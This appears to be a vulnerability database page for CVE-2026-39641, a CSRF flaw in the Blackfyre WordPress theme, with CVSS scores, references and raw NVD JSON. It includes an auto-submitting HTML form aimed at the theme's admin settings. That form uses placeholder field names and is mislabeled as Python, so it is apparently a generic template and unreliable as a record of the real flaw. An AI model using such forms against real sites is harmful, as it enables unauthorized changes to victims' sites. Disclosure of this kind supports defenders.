CVE-2026-39641

Description

Cross-Site Request Forgery (CSRF) vulnerability in Skywarrior Blackfyre blackfyre allows Cross Site Request Forgery.This issue affects Blackfyre: from n/a through <= 2.5.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Blackfyre <= 2.5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF Vulnerability in Blackfyre Theme -->
<!-- Attacker stores this as exploit.html and sends the link to admin -->
<html>
  <body>
    <form action="http://target-site.com/wp-admin/admin.php?page=blackfyre_settings" method="POST">
      <input type="hidden" name="action" value="save_options" />
      <input type="hidden" name="blackfyre_field" value="attacker_controlled_value" />
      <input type="submit" value="Click here to view content" />
    </form>
    <script>
      // Auto-submit the form when the page loads to maximize success rate
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39641
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39641
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39641/
[4] VulDB https://vuldb.com/cve/CVE-2026-39641
[5] https://patchstack.com/database/Wordpress/Theme/blackfyre/vulnerability/wordpress-blackfyre-theme-2-5-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39641", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:34.930", "lastModified": "2026-04-29T10:17:35.060", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Skywarrior Blackfyre blackfyre allows Cross Site Request Forgery.This issue affects Blackfyre: from n/a through <= 2.5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/blackfyre/vulnerability/wordpress-blackfyre-theme-2-5-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}